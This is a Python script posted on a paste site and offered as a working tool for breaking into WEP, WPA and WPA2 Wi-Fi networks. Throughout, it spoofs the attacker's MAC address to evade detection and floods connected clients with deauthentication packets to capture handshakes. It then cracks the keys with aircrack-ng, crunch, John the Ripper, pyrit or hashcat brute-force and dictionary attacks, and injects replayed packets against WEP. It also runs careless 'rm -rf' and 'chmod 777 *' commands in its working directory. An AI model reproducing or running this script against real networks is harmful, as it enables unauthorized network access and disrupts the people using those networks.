DWH - Simple (but working) WEP/WPA/WPA2 Hacking script


SUBMITTED BY: crazyren

DATE: May 24, 2016, 12:48 p.m.

FORMAT: Python

SIZE: 5.9 kB

HITS: 84888

  1. # Semi-automatic and simple (but working!) WEP/WPA/WPA2 Hacking script
  2. # External tools involved: Aircrack-ng pack, John the Ripper, Hashcat Ocl, Pyrit, Crunch, xterm.
  3. # Author: D35m0nd142
  4. # Before use it you may have to execute: "pip install termcolor"
  5. #!/usr/bin/python
  6. # -*- coding: utf-8 -*-
  7. import os, sys, time
  8. from termcolor import colored
  9. def killctrl():
  10. os.system("airmon-ng check kill")
  11. wlist = ""
  12. print "\n+===========================================================================+"
  13. print "| DWH - Simple (but working) WEP/WPA/WPA2 Hacking script |"
  14. print "| Author: D35m0nd142, https://twitter.com/d35m0nd142 |"
  15. print "| Usage: Just run it and let it head you :) |"
  16. print "+===========================================================================+\n"
  17. time.sleep(1.5)
  18. print "[*] Removing useless files..."
  19. os.system("rm -rf capture* || true")
  20. print "[*] Stopping (if existent) previous monitor modes..."
  21. os.system("airmon-ng stop mon0 > dwhs_out.txt && rm dwhs_out.txt")
  22. os.system("ifconfig mon0 down")
  23. print "[*] Rising permissions...\n";
  24. os.system("chmod 777 *")
  25. print colored("[SUCCESS] OK, I am ready to start now! ;)\n", 'yellow')
  26. os.system("airmon-ng")
  27. inf = raw_input("Enter your network interface -> ")
  28. print "[*] Spoofing MAC Address to hide your ass...\n"
  29. cmd = "macchanger -r %s" %inf
  30. os.system(cmd)
  31. cmd = "airmon-ng start %s > processes.txt" %inf
  32. os.system(cmd)
  33. killctrl()
  34. print "[WARNING] Press CTRL-C when you find the network you want to hack."
  35. time.sleep(3)
  36. os.system("airodump-ng mon0")
  37. enc = raw_input("Enter the encryption of the network -> ")
  38. bssid = raw_input("Enter the BSSID of the network you want to hack -> ")
  39. ssid = raw_input("Enter the ESSID of the network you have chosen -> ")
  40. ch = raw_input("Enter the channel on which the network is listening -> ")
  41. cmd = "xterm -hold -e \"airodump-ng -w capture_file --bssid %s -c %s mon0\" &" %(bssid, ch)
  42. os.system(cmd)
  43. def client_send():
  44. client = raw_input("Enter the BSSID (STATION) of a client connected to the network -> ")
  45. cmd = "aireplay-ng -0 10 -a %s -c %s mon0" %(bssid, client)
  46. for count in range(1,15):
  47. os.system(cmd)
  48. print colored("[WARNING] Check if \"WPA Handshake\" appeared in the other shell. Otherwise it is useless to go on!\n", 'red')
  49. time.sleep(1)
  50. # WPA/WPA2 Hacking
  51. if(enc == "WPA" or enc == "WPA2" or enc == "wpa" or enc == "wpa2"):
  52. retry = "y"
  53. while(retry == "y" or retry == "Y" or retry == "yes"):
  54. client_send()
  55. retry = raw_input("Do you want to try with another connected client? [necessary if handshake did not appear] (y/n) ")
  56. print "\n[*] Choose how to crack encrypted data: \n"
  57. print " 1) Wordlist"
  58. print " 2) BruteForce (Crunch with letters and numbers)"
  59. print " 3) JTR"
  60. print " 4) JTR+Pyrit"
  61. print " 5) JTR+Aircrack"
  62. print " 6) Hashcat"
  63. choice = raw_input("\n -> ")
  64. if(choice == "1" or choice == "5" or choice == "6"):
  65. wlist = raw_input("\n[*] Enter your wordlist -> ")
  66. if(choice == "1"):
  67. cmd = "aircrack-ng capture_file-01.cap -w ./%s" %wlist
  68. elif(choice == "2"):
  69. cmd = "crunch 8 20 abcdefghilmnopqrstuvwyxzkjABCDEFGHILMNOPQRSTUWYXZJ0123456789 | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  70. elif(choice == "3"):
  71. cmd = "john --incremental=all --stdout | aircrack-ng -b %s capture_file-01.cap -w - -e %s" %(bssid, ssid)
  72. elif(choice == "4"):
  73. cmd = "john --incremental=all --stdout | pyrit -r capture_file-01.cap -b %s -i - attack_passthrough" %(bssid)
  74. elif(choice == "5"):
  75. cmd = "john --stdout --wordlist=%s | aircrack-ng -b %s -e %s -w - capture_file-01.cap" %(wlist,bssid, ssid)
  76. else:
  77. os.system("aircrack-ng capture_file-01.cap -J hcfile")
  78. print colored("[WARNING] Hashcat module provides 3 different attacks. Stop the current one by yourself in case the previous one has been successfull.","red")
  79. time.sleep(2)
  80. print "[*] Using Hashcat Dictionary attack..."
  81. time.sleep(1)
  82. cmd = "hashcat -m 2500 hcfile.hccap %s" %wlist
  83. os.system(cmd)
  84. time.sleep(1)
  85. print "\n[*] Using Hashcat Rule-based attack..."
  86. time.sleep(1)
  87. cmd = "hashcat -m 2500 -r rules/best64.rule hcfile.hccap %s" %wlist
  88. os.system(cmd)
  89. time.sleep(1)
  90. print "\n[*] Using Hashcat Brute-Force attack..."
  91. time.sleep(1)
  92. print """\n ?l = abcdefghijklmnopqrstuvwxyz
  93. ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  94. ?d = 0123456789
  95. ?s = space\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
  96. ?a = ?l?u?d?s
  97. ?b = 0x00 - 0xff\n"""
  98. brute = raw_input("Enter your bruteforce custom-charset (ex: ?l?d) -> ")
  99. string = ""
  100. found = False
  101. try:
  102. os.remove("dwhs_dec.txt")
  103. except:
  104. pass
  105. while(found is False): # This loop was implemented keeping in mind Hashcat 0.49. If you have Hashcat 0.50 you can use "--increment" flag and
  106. # replace this piece of code. As you wish.
  107. string = string + "?1"
  108. pwmin = len(string)/2
  109. print "..Using %s characters.." %pwmin
  110. time.sleep(0.3)
  111. cmd = "hashcat -m 2500 -a 3 -n 32 --custom-charset1=%s --pw-min=%s hcfile.hccap %s -o dwhs_dec.txt" %(brute,pwmin,string)
  112. os.system(cmd)
  113. with open('dwhs_dec.txt') as f:
  114. if(len(f.read()) > 0):
  115. found = True
  116. if(choice == "1" or choice == "2" or choice == "3" or choice == "4" or choice == "5"):
  117. os.system(cmd)
  118. # WEP Hacking
  119. else:
  120. cmd = "aireplay-ng -1 0 -a %s mon0" %bssid
  121. os.system(cmd) # check if AUTH is OPN
  122. cmd = "xterm -hold -e \"aireplay-ng -3 -b %s mon0\" &" %bssid
  123. os.system(cmd)
  124. cmd = "aireplay-ng -0 0 -a %s mon0" %bssid # it speeds up retrieving packets
  125. for count in range(1,7):
  126. os.system(cmd)
  127. goon = raw_input("\n[WARNING] Wait until you got AT LEAST 30K packets, then press ENTER to go on...")
  128. cmd = "aircrack-ng capture_file-01.cap"
  129. os.system(cmd)
  130. print "Bye ;-)\n"

comments powered by Disqus